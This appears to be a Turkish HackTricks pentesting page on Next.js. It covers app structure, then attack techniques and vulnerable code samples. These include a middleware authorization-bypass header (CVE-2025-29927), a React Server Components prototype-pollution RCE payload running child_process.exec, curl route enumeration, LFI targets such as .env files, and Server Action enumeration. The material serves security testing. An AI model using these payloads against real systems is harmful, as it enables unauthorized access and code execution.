NextJS

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Bir Next.js Uygulamasının Genel Mimarisi

Tipik Dosya Yapısı

Standart bir Next.js projesi, yönlendirme, API uç noktaları ve statik varlık yönetimi gibi özelliklerini kolaylaştıran belirli bir dosya ve dizin yapısını takip eder. İşte tipik bir düzen:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Temel Dizinler ve Dosyalar

• public/: Görseller, fontlar ve diğer dosyalar gibi statik varlıkları barındırır. Buradaki dosyalar kök yolunda (/) erişilebilir.
• app/: Uygulamanızın sayfaları, layout’ları, komponentleri ve API rotaları için merkezi dizindir. App Router paradigmasını benimser, gelişmiş routing özellikleri ve server-client komponent ayrımını sağlar.
• app/layout.tsx: Uygulamanız için kök layout’u tanımlar; tüm sayfaları sarar ve üstbilgiler, altbilgiler ve gezinme çubukları gibi tutarlı UI öğeleri sağlar.
• app/page.tsx: Kök rota / için giriş noktasıdır ve ana sayfayı render eder.
• app/[route]/page.tsx: Statik ve dinamik rotaları yönetir. app/ içindeki her klasör bir rota segmentini temsil eder ve o klasör içindeki page.tsx rota bileşenine karşılık gelir.
• app/api/: HTTP isteklerini işleyen serverless fonksiyonlar oluşturmanıza olanak veren API rotalarını içerir. Bu rotalar geleneksel pages/api dizininin yerini alır.
• app/components/: Farklı sayfa ve layout’larda yeniden kullanılabilecek React komponentlerini barındırır.
• app/styles/: Küresel CSS dosyalarını ve komponent bazlı stil için CSS Modüllerini içerir.
• app/utils/: Uygulama genelinde paylaşılabilecek yardımcı fonksiyonlar, yardımcı modüller ve diğer UI dışı mantığı içerir.
• .env.local: Yerel geliştirme ortamına özgü ortam değişkenlerini depolar. Bu değişkenler sürüm kontrolüne gönderilmez.
• next.config.js: webpack konfigürasyonları, ortam değişkenleri ve güvenlik ayarları dahil olmak üzere Next.js davranışını özelleştirir.
• tsconfig.json: Proje için TypeScript ayarlarını yapılandırır; tip kontrolü ve diğer TypeScript özelliklerini etkinleştirir.
• package.json: Projenin bağımlılıklarını, script’lerini ve meta verilerini yönetir.
• README.md: Kurulum talimatları, kullanım yönergeleri ve diğer ilgili bilgiler dahil olmak üzere proje ile ilgili dökümantasyon ve bilgileri sağlar.
• yarn.lock / package-lock.json: Projenin bağımlılıklarını belirli sürümlere kilitler ve farklı ortamlarda tutarlı kurulumlar sağlar.

Next.js’te İstemci Tarafı

app Dizininde Dosya Tabanlı Routing

app dizini, en son Next.js sürümlerinde routing’in temel taşıdır. Rota yönetimini sezgisel ve ölçeklenebilir hale getirmek için dosya sisteminden yararlanır.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Olası İstemci Tarafı Güvenlik Açıkları

Next.js güvenli bir temel sağlasa da, yanlış kodlama uygulamaları güvenlik açıkları oluşturabilir. Temel istemci tarafı güvenlik açıkları şunlardır:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: _buildManifest üzerinden statik export rota keşfi

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

• Grab the buildId from the root response (often printed at the bottom) or from <script> tags loading /_next/static/<buildId>/....
• Fetch the manifest and extract routes:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Keşfedilen yolları (örneğin /docs, /docs/content/examples, /signin) kimlik doğrulama testleri ve endpoint keşfi için kullanın.

Next.js’de Sunucu Tarafı

Sunucu Tarafı Rendering (SSR)

Sayfalar her istekte sunucuda render edilir; bu, kullanıcının tam olarak render edilmiş HTML almasını sağlar. Bu durumda istekleri işlemek için kendi özel sunucunuzu oluşturmalısınız.

Kullanım Durumları:

• Sık sık değişen dinamik içerik.
• SEO optimizasyonu; arama motorları tam render edilmiş sayfayı tarayabilir.

Uygulama:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Statik Site Oluşturma (SSG)

Sayfalar derleme zamanında önceden render edilir, bu da daha hızlı yükleme süreleri ve azalan sunucu yükü sağlar.

Kullanım Durumları:

• Sık sık değişmeyen içerik.
• Bloglar, dokümantasyon, pazarlama sayfaları.

Uygulama:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Sunucusuz Fonksiyonlar (API Routes)

Next.js, API endpoint’lerinin sunucusuz fonksiyonlar olarak oluşturulmasına izin verir. Bu fonksiyonlar, özel bir sunucuya ihtiyaç duymadan talep üzerine çalışır.

Kullanım Durumları:

• Form gönderimlerinin işlenmesi.
• Veritabanlarıyla etkileşim.
• Veri işleme veya üçüncü taraf API’lerle entegrasyon.

Uygulama:

Next.js 13’te app dizisinin tanıtılmasıyla yönlendirme ve API işleme daha esnek ve güçlü hale geldi. Bu modern yaklaşım dosya tabanlı yönlendirme sistemiyle yakından uyumlu olmakla birlikte sunucu ve istemci bileşenleri desteği de dahil olmak üzere geliştirilmiş yetenekler sunar.

Temel Rota İşleyicisi

Dosya Yapısı:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Uygulama:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Açıklama:

• Konum: API rotaları app/api/ dizini altında yer alır.
• Dosya Adlandırması: Her API endpoint’i kendi klasöründe yer alır ve içinde route.js veya route.ts dosyası bulunur.
• Dışa Aktarılan Fonksiyonlar: Tek bir default export yerine, belirli HTTP yöntem fonksiyonları (ör. GET, POST) dışa aktarılır.
• Yanıt İşleme: Yanıtları döndürmek için Response constructor’ını kullanın; bu, headers ve status kodları üzerinde daha fazla kontrol sağlar.

Diğer yollar ve yöntemler nasıl ele alınır:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS Yapılandırması

API rotalarınıza hangi origin’lerin erişebileceğini kontrol ederek Cross-Origin Resource Sharing (CORS) açıklarını azaltın.

Kötü Yapılandırma Örneği:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Unutmayın ki CORS, tüm API routes’larında da yapılandırılabilir, middleware.ts dosyası içinde:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Sorun:

• Access-Control-Allow-Origin: '*': Herhangi bir web sitesinin API’ye erişmesine izin verir; bu, kötü amaçlı sitelerin API’nizle sınırlama olmadan etkileşime girmesine yol açabilir.
• Geniş Yöntem İzni: Tüm yöntemlere izin verilmesi, saldırganların istenmeyen eylemler gerçekleştirmesine olanak tanıyabilir.

Saldırganlar bunu nasıl istismar eder:

Saldırganlar, API’nize istek yapan kötü amaçlı web siteleri hazırlayarak veri alma, veri manipülasyonu veya kimlik doğrulanmış kullanıcılar adına istenmeyen işlemler gibi işlevleri kötüye kullanabilirler.

CORS - Misconfigurations & Bypass

Sunucu kodunun istemci tarafında açığa çıkması

Sunucu tarafından kullanılan kodun istemci tarafında açığa çıkan ve istemci tarafından kullanılan koda dahil edilmesi kolay olabilir. Bir kod dosyasının istemci tarafında asla açığa çıkmamasını sağlamak için dosyanın başında bu import’u kullanmak en iyi yoldur:

import "server-only"

Ana Dosyalar ve Rolleri

middleware.ts / middleware.js

Location: Projenin kök dizini veya src/ içinde.

Purpose: Bir isteğin işlenmesinden önce server-side serverless fonksiyonunda kod çalıştırır; bu, kimlik doğrulama, yönlendirmeler veya yanıtları değiştirme gibi görevleri gerçekleştirmeye olanak sağlar.

Execution Flow:

1. Gelen İstek: Middleware isteği yakalar.
2. İşleme: İstek bazlı işlemler gerçekleştirir (örn. kimlik doğrulama kontrolü).
3. Yanıt Değiştirme: Yanıtı değiştirebilir veya kontrolü bir sonraki işleyiciye aktarabilir.

Example Use Cases:

• Kimliği doğrulanmamış kullanıcıları yönlendirme.
• Özel HTTP başlıkları ekleme.
• İstekleri loglama.

Sample Configuration:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware yetkilendirme atlatması (CVE-2025-29927)

Eğer yetkilendirme middleware içinde uygulanıyorsa, etkilenen Next.js sürümleri (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) x-middleware-subrequest başlığı enjekte edilerek atlatılabilir. Framework middleware özyinelemesini atlayacak ve korunan sayfayı döndürecektir.

• Temel davranış genellikle /api/auth/signin gibi bir giriş rotasına 307 yönlendirmesidir.
• Yanıtı 200’e çevirmek için uzun bir x-middleware-subrequest değeri gönderin (middleware’i tekrarlayarak MAX_RECURSION_DEPTH’e ulaşın):

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Kimlik doğrulamalı sayfalar birçok alt kaynak çektiğinden, header’ı her isteğe ekleyin (ör. varlıkların yönlendirilmesini önlemek için Burp Match/Replace ile boş bir eşleşme dizesi kullanmak).

next.config.js

Konum: Projenin kök dizini.

Amaç: Next.js davranışını yapılandırır; özellikleri etkinleştirme/devre dışı bırakma, webpack yapılandırmalarını özelleştirme, çevre değişkenlerini ayarlama ve çeşitli güvenlik özelliklerini yapılandırma.

Önemli Güvenlik Yapılandırmaları:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Not exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for exposure to client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js ve pages/_document.js

pages/_app.js

Amaç: Varsayılan App bileşenini geçersiz kılarak global state, stiller ve layout bileşenlerine imkan sağlar.

Kullanım Durumları:

• Global CSS ekleme.
• Layout kapsayıcıları ekleme.
• State yönetimi kütüphanelerini entegre etme.

Örnek:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Amaç: Varsayılan Document’i geçersiz kılarak HTML ve Body etiketlerinin özelleştirilmesine olanak tanır.

Kullanım Durumları:

• <html> veya <body> etiketlerini değiştirme.
• meta etiketleri veya özel script’ler ekleme.
• Üçüncü taraf fontları entegre etme.

Örnek:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Özel Sunucu (Opsiyonel)

Amaç: Next.js yerleşik bir sunucu ile gelir, ancak özel yönlendirme veya mevcut backend servisleriyle entegrasyon gibi gelişmiş kullanım durumları için özel bir sunucu oluşturabilirsiniz.

Not: Özel bir sunucu kullanmak dağıtım seçeneklerini kısıtlayabilir; özellikle Next.js’in yerleşik sunucusu için optimize edilmiş Vercel gibi platformlarda.

Örnek:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Ek Mimari ve Güvenlik Hususları

Ortam Değişkenleri ve Yapılandırma

Amaç: Hassas bilgileri ve yapılandırma ayarlarını kod tabanının dışında yönetmek.

En İyi Uygulamalar:

• .env Dosyalarını Kullanın: API anahtarları gibi değişkenleri .env.local içinde saklayın (sürüm kontrolünden hariç tutulur).
• Değişkenlere Güvenli Erişim: Ortam değişkenlerine erişmek için process.env.VARIABLE_NAME kullanın.
• Sırları Asla İstemci Tarafında Açığa Çıkarmayın: Hassas değişkenlerin yalnızca sunucu tarafında kullanıldığından emin olun.

Örnek:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Not: Değişkenleri yalnızca sunucu tarafıyla sınırlamak için, onları env nesnesinden çıkarın veya istemciye açılmaları için NEXT_PUBLIC_ ile önekleyin.

LFI/download endpoint’leri aracılığıyla hedef alınabilecek faydalı sunucu artefaktları

Next.js uygulamasında path traversal veya download API bulursanız, sunucu tarafı sırlarını leak eden ve kimlik doğrulama mantığını ortaya çıkaran derlenmiş artefaktları hedefleyin:

• .env / .env.local — oturum sırları ve sağlayıcı kimlik bilgileri için.
• .next/routes-manifest.json ve .next/build-manifest.json — tam bir route listesi için.
• .next/server/pages/api/auth/[...nextauth].js — derlenmiş NextAuth konfigürasyonunu kurtarmak için (genellikle process.env değerleri ayarlı olmadığında fallback parolalar içerir).
• next.config.js / next.config.mjs — rewrites, redirects ve middleware routing’i incelemek için.

Kimlik Doğrulama ve Yetkilendirme

Yaklaşım:

• Session-Based Authentication: Kullanıcı oturumlarını yönetmek için çerezleri kullanın.
• Token-Based Authentication: Stateless kimlik doğrulama için JWT’leri uygulayın.
• Third-Party Providers: next-auth gibi kütüphaneler kullanarak OAuth sağlayıcıları (ör. Google, GitHub) ile entegrasyon yapın.

Güvenlik Uygulamaları:

• Secure Cookies: HttpOnly, Secure ve SameSite özniteliklerini ayarlayın.
• Password Hashing: Parolaları depolamadan önce her zaman hash’leyin.
• Input Validation: Girdileri doğrulayarak ve temizleyerek injection saldırılarını önleyin.

Örnek:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Performans Optimizasyonu

Stratejiler:

• Görsel Optimizasyonu: Otomatik görsel optimizasyonu için Next.js’in next/image bileşenini kullanın.
• Kod Bölümlendirme: Dinamik importları kullanarak kodu bölün ve ilk yükleme sürelerini azaltın.
• Önbellekleme: API yanıtları ve statik varlıklar için önbellekleme stratejileri uygulayın.
• Tembel Yükleme: Bileşenleri veya varlıkları yalnızca gerektiğinde yükleyin.

Örnek:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Modern Next.js, sunucuda çalışan ancak istemciden çağrılan “Server Actions” kullanır. Prodüksiyonda bu çağrılar opaktır: tüm POSTs ortak bir endpoint’e gider ve Next-Action header’ında gönderilen build’e özgü bir hash ile ayırt edilir. Örnek:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps etkinleştirildiğinde, minimize edilmiş JS chunk’ları createServerReference(...) çağrılarını içerir; bu çağrılar, action hash ile orijinal fonksiyon adı arasındaki eşlemeyi kurtarmak için yeterli yapı (ve ilişkili source map’ler) leak eder. Bu sayede Next-Action içinde gözlemlenen hash’leri deleteUserAccount() veya exportFinancialData() gibi somut hedeflere çevirebilirsiniz.

Çıkarma yaklaşımı (minimize edilmiş JS üzerinde regex + isteğe bağlı source map’ler)

İndirilen JS chunk’larında createServerReference arayın ve hash ile fonksiyon/kaynak sembolünü çıkarın. İki faydalı desen:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Grup 1: server action hash (40+ hex chars)
• Grup 2: varsa source map ile orijinal fonksiyon adına çözülebilen sembol veya yol

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Pratik iş akışı

• Gözatma sırasında pasif keşif: Next-Action header’ları ve JS chunk URL’leri ile gelen istekleri yakalayın.
• Başvurulan JS bundle’larını ve varsa eşlik eden *.map dosyalarını fetch edin.
• Yukarıdaki regex’i çalıştırarak bir hash↔name sözlüğü oluşturun.
• Sözlüğü hedefli test için kullanın:
  • Name-driven triage (e.g., transferFunds, exportFinancialData).
  • Fonksiyon adına göre build’ler arasında kapsamı takip edin (hashes rotate across builds).

Exercising hidden actions (template-based request)

Proxy içinde gözlemlenen geçerli bir POST’u şablon olarak alın ve başka bir keşfedilmiş action’ı hedeflemek için Next-Action değerini değiştirin:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater’da yeniden oynatın ve aksi halde ulaşılamayan eylemlerin yetkilendirmesini, girdi doğrulamasını ve iş mantığını test edin.

Burp otomasyonu

• NextjsServerActionAnalyzer (Burp eklentisi) yukarıdakileri Burp içinde otomatikleştirir:
• JS parçaları için proxy geçmişini tarar, createServerReference(...) girdilerini çıkarır ve mevcutsa source map’leri çözer.
• Aranabilir bir hash↔function-name sözlüğü tutar ve function name’e göre build’ler arasında yinelenmeleri kaldırır.
• Geçerli bir template POST bulabilir ve hedef eylemin hash’i yerleştirilmiş, gönderilmeye hazır bir Repeater sekmesi açabilir.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notlar ve sınırlamalar

• Bundle/source map’lerden isimleri geri almak için production ortamında productionBrowserSourceMaps’in etkinleştirilmesini gerektirir.
• Fonksiyon adı ifşası tek başına bir zafiyet değildir; bunu keşif için rehber olarak kullanın ve her eylemin yetkilendirmesini test edin.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router dağıtımları, Server Actions’ı react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) üzerinde açığa çıkarıyorsa, Flight chunk deserialization sırasında kritik bir sunucu tarafı prototype pollution içerir. Bir Flight payload’u içindeki $ referansları oluşturularak bir saldırgan, kirletilmiş prototiplerden rastgele JavaScript yürütmeye ve ardından Node.js sürecinin içinde OS komut yürütmeye pivot yapabilir.

NodeJS - proto & prototype Pollution

Flight chunk’larındaki saldırı zinciri

1. Prototype pollution primitive: "then": "$1:__proto__:then" olarak ayarlayın, böylece resolver Object.prototype üzerine bir then fonksiyonu yazar. Sonrasında işlenen herhangi bir düz obje thenable olur ve saldırgana RSC iç işleyişindeki async kontrol akışını etkileme imkanı verir.
2. Global Function constructor’a yeniden bağlama: _response._formData.get’i "$1:constructor:constructor"’a yönlendirin. Çözümleme sırasında object.constructor → Object, ve Object.constructor → Function olur; böylece gelecekte _formData.get() çağrıları gerçekte Function(...)’ı çalıştırır.
3. _prefix üzerinden kod yürütme: JavaScript kaynağını _response._prefix içine yerleştirin. Kirletilmiş _formData.get çağrıldığında framework Function(_prefix)(...)’ı değerlendirir; böylece enjekte edilen JS require('child_process').exec() ya da başka bir Node ilkelini çalıştırabilir.

Payload iskeleti

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function maruziyetini haritalama

React Server Functions (RSF), 'use server'; direktifini içeren herhangi bir fonksiyondur. Bu fonksiyonlara bağlı her form action, mutation veya fetch helper, bir RSC Flight endpoint’e dönüşür ve saldırgan tarafından sağlanan payloads’ı rahatlıkla deserialize eder. React2Shell değerlendirmelerinden türetilmiş faydalı recon adımları:

• Statik envanter: direktifi arayarak framework tarafından otomatik olarak kaç RSF’nin açığa çıkarıldığını anlayın.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router varsayılanları: create-next-app varsayılan olarak App Router + app/ dizinini etkinleştirir, bu da her rotayı sessizce bir RSC-uyumlu endpoint’e çevirir. App Router varlıkları such as /_next/static/chunks/app/ veya Flight parçalarını text/x-component üzerinden akıtan yanıtlar güçlü İnternet’e açık parmak izleridir.
• Dolaylı olarak savunmasız RSC dağıtımları: React’in kendi uyarısı, RSC runtime’ını dağıtan uygulamaların istismar edilebilir olabileceğini açık RSF’ler olmadan bile belirtiyor; bu yüzden react-server-dom-* 19.0.0–19.2.0 kullanan her build’i şüpheli kabul edin.
• RSC paketleyen diğer framework’ler: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku vb. aynı serializer’ı yeniden kullanır ve yamalanmış React build’lerini entegre edene kadar aynı uzak attack surface’i devralır.

Sürüm kapsamı (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: savunmasız 19.0.0, 19.1.0–19.1.1 ve 19.2.0 sürümlerinde; sırasıyla 19.0.1, 19.1.2 ve 19.2.1’de düzeltilmiş.
• Next.js stable: App Router sürümleri 15.0.0–16.0.6 savunmasız RSC yığını içerir. Patch train’leri 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 sabitlenmiş bağımlılıkları içerdiğinden, bu sürümlerin altındaki herhangi bir build yüksek değer taşır.
• Next.js canary: 14.3.0-canary.77+ de hatalı runtime’ı dağıtır ve şu anda yamalanmış canary drop’ları yok, bu parmak izleri güçlü istismar adaylarıdır.

Uzak tespit oracle’u

Assetnote’ın react2shell-scanner aday path’lere hazırlanmış multipart Flight isteği gönderir ve sunucu tarafı davranışını izler:

